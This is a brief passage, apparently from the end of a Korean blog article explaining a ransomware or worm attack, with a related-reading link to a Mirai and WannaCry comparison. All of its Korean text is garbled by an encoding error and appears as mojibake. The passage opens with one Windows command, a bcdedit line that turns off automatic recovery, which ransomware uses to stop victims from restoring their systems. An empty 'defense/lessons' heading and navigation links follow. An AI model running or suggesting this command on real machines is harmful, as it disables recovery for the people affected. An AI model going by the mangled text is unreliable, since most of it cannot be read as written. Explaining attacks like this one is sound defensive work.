bcdedit /set {default} recoveryenabled no                   # ์ž๋™ ๋ณต๊ตฌ ๋น„ํ™œ์„ฑํ™”

6. ๋ฐฉ์–ด ๋ฐฉ๋ฒ•/๊ตํ›ˆ โ€” ์–ด๋–ป๊ฒŒ ๋ง‰์•˜๊ณ , ๋ฌด์—‡์„ ๋ฐฐ์šฐ๋‚˜

์ถœ์ฒ˜

ํ•จ๊ป˜ ์ฝ๊ธฐ: ๐Ÿฆ  Mirai ๋ด‡๋„ท โ€” ๊ธฐ๋ณธ ๋น„๋ฐ€๋ฒˆํ˜ธ 62๊ฐœ๋กœ 60๋งŒ ๋Œ€์˜ IoT๋ฅผ ๋ฌด๊ธฐํ™”ํ•˜๋‹ค (2016) โ€” "์Šค์Šค๋กœ ๋ฒˆ์ง€๋Š” ์›œ"์˜ ๋‘ ์–ผ๊ตด: IoT ๊ธฐ๋ณธ ๋น„๋ฐ€๋ฒˆํ˜ธ(Mirai) vs PC SMB ์ทจ์•ฝ์ (WannaCry)

๋ชฉ๋ก์œผ๋กœ ๋Œ์•„๊ฐ€๊ธฐ